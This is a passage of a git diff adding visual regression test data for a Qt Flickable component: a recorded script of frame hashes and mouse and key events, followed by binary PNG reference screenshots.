Frame { + msec: 48 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 64 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 80 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 96 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 112 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 128 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 144 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 160 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 176 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 192 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 208 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 224 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 240 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 256 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 272 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 288 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 304 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 320 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 336 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 352 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 368 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 384 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 400 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 416 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 432 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 448 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 464 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 480 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 496 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 512 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 528 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 544 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 560 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 576 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 592 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 608 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 624 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 640 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 656 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 672 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 688 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 704 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 720 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 736 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 752 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 768 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 784 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 800 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 816 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 832 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 848 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 864 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 880 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 896 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 912 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 928 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 944 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 477; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 960 + image: "flickable-horizontal.0.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 473; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 976 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 463; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 992 + hash: "c4d91a9e7f785ccd50db55f697d75cb9" + } + Frame { + msec: 1008 + hash: "c4d91a9e7f785ccd50db55f697d75cb9" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 449; y: 171 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1024 + hash: "4f054038668f56cf3fc46dee08504b24" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 425; y: 172 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1040 + hash: "e6ae6e2a8e5fb7204ae1f559b5dc4a63" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 393; y: 172 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 393; y: 172 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 1056 + hash: "3bfaaef12ca852421ad179d8598a306d" + } + Frame { + msec: 1072 + hash: "e00ff5e13a9a97bc11e041f89e4782f5" + } + Frame { + msec: 1088 + hash: "ae10ada837b21365936672e9a4b4b175" + } + Frame { + msec: 1104 + hash: "63566d7f1707025c9ec37e398d0e69ef" + } + Frame { + msec: 1120 + hash: "20e9d299cd867d680cf85f99e06cd200" + } + Frame { + msec: 1136 + hash: "4d3a19b3c50a20ba1d93a8bcd178a424" + } + Frame { + msec: 1152 + hash: "d373ab5240e438e8234ae05f935c1ef8" + } + Frame { + msec: 1168 + hash: "2f9c00aa1f8a8cc5d10e6c6a0baee366" + } + Frame { + msec: 1184 + hash: "0fd8203b0a33fd8243ecd878f04f9b42" + } + Frame { + msec: 1200 + hash: "24a197df4209c7076d68031e5dd4fd9e" + } + Frame { + msec: 1216 + hash: "9e4271eacdc875183e3c8e7a1eb098c2" + } + Frame { + msec: 1232 + hash: "cdf7aac4ff7e5df806977eb38392f5bc" + } + Frame { + msec: 1248 + hash: "1ace4a1312cad6f173a04c388624a97f" + } + Frame { + msec: 1264 + hash: "193d6d6838ac1d5ddb941fbb340ec506" + } + Frame { + msec: 1280 + hash: "ed82807a48f28610ba9bda0c7ab91ce4" + } + Frame { + msec: 1296 + hash: "e1168bb9a88a972decb0c537d86d7758" + } + Frame { + msec: 1312 + hash: "828ba428b04826687c6ef19b72318924" + } + Frame { + msec: 1328 + hash: "7dae52c428253cf44045ffaabaadd2f4" + } + Frame { + msec: 1344 + hash: "06e2a81e1a2421523642cfcf17ec22e4" + } + Frame { + msec: 1360 + hash: "283997835a54e80c0ab8a0321bd03ce7" + } + Frame { + msec: 1376 + hash: "6354f9379b7b25c8fabda4e5bc3cdf6a" + } + Frame { + msec: 1392 + hash: "6bc87dfd21d59efd3397e3cfb0d00d25" + } + Frame { + msec: 1408 + hash: "4f97fc9aa1f79a6b007a00459386b9ff" + } + Frame { + msec: 1424 + hash: "2b5c711ede124c9e97d3ef83a3fdcc8b" + } + Frame { + msec: 1440 + hash: "5a8cbd4ac3fcd920f2aea6e2cfa96467" + } + Frame { + msec: 1456 + hash: "5b32961cb36e519f5b1d50386e796d3e" + } + Frame { + msec: 1472 + hash: "c91f95cccd38cbd1a16ee65abffd40ab" + } + Frame { + msec: 1488 + hash: "25108050298d3ffc850113971bcf54da" + } + Frame { + msec: 1504 + hash: "6a236881f2a1cb487ee1945c279e020b" + } + Frame { + msec: 1520 + hash: "2df1824df1cf20022595f64d26adb4ad" + } + Frame { + msec: 1536 + hash: "4ca4a0a4b4fd9f9c4846adebcdc8fd67" + } + Frame { + msec: 1552 + hash: "1696ef0862ff4772f960d203c43fbddf" + } + Frame { + msec: 1568 + hash: "c5846835b8eb5d98c481ee5811344ea1" + } + Frame { + msec: 1584 + hash: "fbcb044ee53302de573321b43f068e65" + } + Frame { + msec: 1600 + hash: "d369e0a6c4a3e63102be29a7362ef9eb" + } + Frame { + msec: 1616 + hash: "e93131b881805d4aa44949c69f486821" + } + Frame { + msec: 1632 + hash: "b7aeee9e5065f1d4656e451b542ecf6a" + } + Frame { + msec: 1648 + hash: "05521ca19960c070d5f3dd72c5ade0e4" + } + Frame { + msec: 1664 + hash: "2c68cb3291cf1f892c8b8eb28b409e4d" + } + Frame { + msec: 1680 + hash: "5a0908aea91df2b9e65d222829c2b0ba" + } + Frame { + msec: 1696 + hash: "0d4ff147517eee8b3dbcd51a708b2aa7" + } + Frame { + msec: 1712 + hash: "521e1075de1de89c6e25f469d2728ab7" + } + Frame { + msec: 1728 + hash: "c543447f98ae608058c6c02c8c8665e6" + } + Frame { + msec: 1744 + hash: "ac259db754b7dfb8cce8548527c72e4b" + } + Frame { + msec: 1760 + hash: "bc5b68d5ecfb583ae41001e326b7aa9b" + } + Frame { + msec: 1776 + hash: "e08051cb1ab2d8f979a52dc86411f78f" + } + Frame { + msec: 1792 + hash: "b1746ad9563359f0d70a1aaee62e9bd8" + } + Frame { + msec: 1808 + hash: "5d6bc33ff2857fb8db582362bf7c19c7" + } + Frame { + msec: 1824 + hash: "83f2c3a7124f9be4dbe883a27ca7df8e" + } + Frame { + msec: 1840 + hash: "189f7cfb5ede1f8380b1a05b7e3d942e" + } + Frame { + msec: 1856 + hash: "07b1a4e5ca156e6aa1f3e76b825807ce" + } + Frame { + msec: 1872 + hash: "48b25f0acfe6eb3bc2cb9eb16e6595d0" + } + Frame { + msec: 1888 + hash: "15ae05f5ed098021073c4593587949ea" + } + Frame { + msec: 1904 + hash: "b300f2c75f4aebcf84ed37ad424ca9fa" + } + Frame { + msec: 1920 + image: "flickable-horizontal.1.png" + } + Frame { + msec: 1936 + hash: "7d8ea492fb1c664502e95e085896c569" + } + Frame { + msec: 1952 + hash: "7513b077e073d78b387309b56e1fd44c" + } + Frame { + msec: 1968 + hash: "ed1ac5cf6d4b081983a8e16258f431bf" + } + Frame { + msec: 1984 + hash: "fbb31f23ba6e5d02011363abfb4b3f18" + } + Frame { + msec: 2000 + hash: "6f01df424b38036b9921b4ee1491a1c1" + } + Frame { + msec: 2016 + hash: "11f706dfacbec5c0be0c2f3c5442f717" + } + Frame { + msec: 2032 + hash: "0a70348986f4987f43db3e55af63fca5" + } + Frame { + msec: 2048 + hash: "6f8b7aaad846f83c6349836d7af34662" + } + Frame { + msec: 2064 + hash: "44723b22aad6d2d814e074ff9324f3c4" + } + Frame { + msec: 2080 + hash: "44723b22aad6d2d814e074ff9324f3c4" + } + Frame { + msec: 2096 + hash: "44723b22aad6d2d814e074ff9324f3c4" + } + Frame { + msec: 2112 + hash: "1c12d2c68223324f040b7a693cef2074" + } + Frame { + msec: 2128 + hash: "0a70348986f4987f43db3e55af63fca5" + } + Frame { + msec: 2144 + hash: "bf4de7baf2730cdaf83887d50d577986" + } + Frame { + msec: 2160 + hash: "23ddb2c0793d7161a0d8c5b2a777dceb" + } + Frame { + msec: 2176 + hash: "7513b077e073d78b387309b56e1fd44c" + } + Frame { + msec: 2192 + hash: "83fa82362057466dff6a243a95d423db" + } + Frame { + msec: 2208 + hash: "0e60b632ce511109cb01d2e5ff6945f8" + } + Frame { + msec: 2224 + hash: "78c25194827c4243a16807491f798cdf" + } + Frame { + msec: 2240 + hash: "4c9dc46794d4a32e654395bb9d78409e" + } + Frame { + msec: 2256 + hash: "e996d4f3a0b3a4a4ed29ec23a1ad5615" + } + Frame { + msec: 2272 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2288 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2304 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2320 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2336 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2352 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2368 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2384 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2400 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2416 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2432 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2448 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2464 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2480 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2496 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2512 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2528 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2544 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2560 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2576 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2592 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2608 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2624 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2640 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2656 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2672 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2688 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2704 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2720 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2736 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2752 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2768 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 152; y: 189 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2784 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2800 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Frame { + msec: 2816 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 154; y: 190 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2832 + hash: "cd6770afe63f28517a93f0961cf9c26e" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 169; y: 191 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2848 + hash: "edd015434d7ead96c03a51a2b1c9e527" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 202; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2864 + hash: "ea0eda505daea4171e27aac358aa6a4a" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 256; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2880 + image: "flickable-horizontal.2.png" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 331; y: 192 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2896 + hash: "34f70dfe1c226e63300112aa9a4a6968" + } + Frame { + msec: 2912 + hash: "34f70dfe1c226e63300112aa9a4a6968" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 395; y: 194 + modifiers: 0 + sendToViewport: true + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 395; y: 194 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 2928 + hash: "dd61e0ae58d7a344908a10bb97cfcb39" + } + Frame { + msec: 2944 + hash: "14a384c4bdd3e89808761d1e86976170" + } + Frame { + msec: 2960 + hash: "0e82a4920a53239f117448cd0e0b27f2" + } + Frame { + msec: 2976 + hash: "711e29bf6fbbeb7882064adb0619f4ac" + } + Frame { + msec: 2992 + hash: "43307cbfe1688daf300fafc8df0082b8" + } + Frame { + msec: 3008 + hash: "46d788d926c03d85a68b66252e73ae90" + } + Frame { + msec: 3024 + hash: "a0042935ad2d5557c906050d4a3581c9" + } + Frame { + msec: 3040 + hash: "b618a40490ca0aea310f08b452fa8c68" + } + Frame { + msec: 3056 + hash: "e2aaad7f160a6d77dd788c76bb8cb8a7" + } + Frame { + msec: 3072 + hash: "ab5c27fa790c67a6678db0bbae1ae477" + } + Frame { + msec: 3088 + hash: "b43ed7af838cd6edd32393fc56cf8fb1" + } + Frame { + msec: 3104 + hash: "88ac50602c9f27fb5b882ad32d14ff46" + } + Frame { + msec: 3120 + hash: "259af2e080ed93e16cb633fa940c7c08" + } + Frame { + msec: 3136 + hash: "d05bec2351068d552b7bbbf47cf82fad" + } + Frame { + msec: 3152 + hash: "5354b8e07f1ed22950687187ee7a0290" + } + Frame { + msec: 3168 + hash: "3bfaaef12ca852421ad179d8598a306d" + } + Frame { + msec: 3184 + hash: "40d3a77fce7a9a9ca7ae6023fc4cfc10" + } + Frame { + msec: 3200 + hash: "5837c0122aa6b28518f1b7043ead99a9" + } + Frame { + msec: 3216 + hash: "9514d8530275e4642810ac441e8de353" + } + Frame { + msec: 3232 + hash: "3b720882f52340549d8e1b9659443461" + } + Frame { + msec: 3248 + hash: "4de5b95c8f4949a4f1ee9a119940e80a" + } + Frame { + msec: 3264 + hash: "a35097c00483e0b481222e4ad220c7a4" + } + Frame { + msec: 3280 + hash: "82ac348a63a4e358a877a2e45d48e2b1" + } + Frame { + msec: 3296 + hash: "1322108409d1fa87d128f0c44c81ab4b" + } + Frame { + msec: 3312 + hash: "f6b030effcca891ab20073f106b22d73" + } + Frame { + msec: 3328 + hash: "a7ccd998ac2ff2777d9423d704ddef48" + } + Frame { + msec: 3344 + hash: "b6d971a4f3321b7f3632e778ce733589" + } + Frame { + msec: 3360 + hash: "b6d971a4f3321b7f3632e778ce733589" + } + Frame { + msec: 3376 + hash: "b6d971a4f3321b7f3632e778ce733589" + } + Frame { + msec: 3392 + hash: "82ef6700a513e39508fb6de5ef07f1e7" + } + Frame { + msec: 3408 + hash: "9e4c4d479bc0b1a61566eae12416bea6" + } + Frame { + msec: 3424 + hash: "f6b030effcca891ab20073f106b22d73" + } + Frame { + msec: 3440 + hash: "8968acd022a9ba6fcc3ea52bdd7268c4" + } + Frame { + msec: 3456 + hash: "de8f1a1fd680af475173d5f81e85b26c" + } + Frame { + msec: 3472 + hash: "82e8c0c7cb7c2b1e8d7a5fc019533e6b" + } + Frame { + msec: 3488 + hash: "f820d250252cd910af97e5c9be181457" + } + Frame { + msec: 3504 + hash: "a40558c1fbf328d3c891b473b2454020" + } + Frame { + msec: 3520 + hash: "0ef9e64bad67670102e1e4d9ef0e96f3" + } + Frame { + msec: 3536 + hash: "1d8013765ac2d3fe09ccaa6db098a208" + } + Frame { + msec: 3552 + hash: "1d8013765ac2d3fe09ccaa6db098a208" + } + Frame { + msec: 3568 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3584 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3600 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3616 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3632 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3648 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3664 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3680 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3696 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3712 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3728 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3744 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3760 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3776 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3792 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3808 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3824 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3840 + image: "flickable-horizontal.3.png" + } + Frame { + msec: 3856 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3872 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3888 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3904 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3920 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3936 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3952 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3968 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 3984 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4000 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4016 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4032 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4048 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4064 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4080 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4096 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4112 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4128 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4144 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4160 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 4176 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4192 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4208 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4224 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4240 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } + Frame { + msec: 4256 + hash: "0fa60818532d1e5c20cd82ce3d61e3f7" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png new file mode 100644 index 0000000..18fef53 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png new file mode 100644 index 0000000..18fef53 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.10.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.10.png new file mode 100644 index 0000000..b352c68 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.10.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.11.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.11.png new file mode 100644 index 0000000..ce7ee68 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.11.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.12.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.12.png new file mode 100644 index 0000000..d8cdacf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.12.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.13.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.13.png new file mode 100644 index 0000000..0c2fa7b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.13.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.14.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.14.png new file mode 100644 index 0000000..e9b3028 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.14.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.15.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.15.png new file mode 100644 index 0000000..2186a8b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.15.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.16.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.16.png new file mode 100644 index 0000000..b4590af Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.16.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.17.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.17.png new file mode 100644 index 0000000..fe29f19 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.17.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.18.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.18.png new file mode 100644 index 0000000..fe29f19 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.18.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.19.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.19.png new file mode 100644 index 0000000..4f8587f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.19.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png new file mode 100644 index 0000000..0a7cc03 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.20.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.20.png new file mode 100644 index 0000000..4f8587f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.20.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.21.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.21.png new file mode 100644 index 0000000..c0b0bdf Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.21.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.22.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.22.png new file mode 100644 index 0000000..4168c3b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.22.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.23.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-vertical.23.png new file mode 100644 index 0000000..18fef53 Binary files 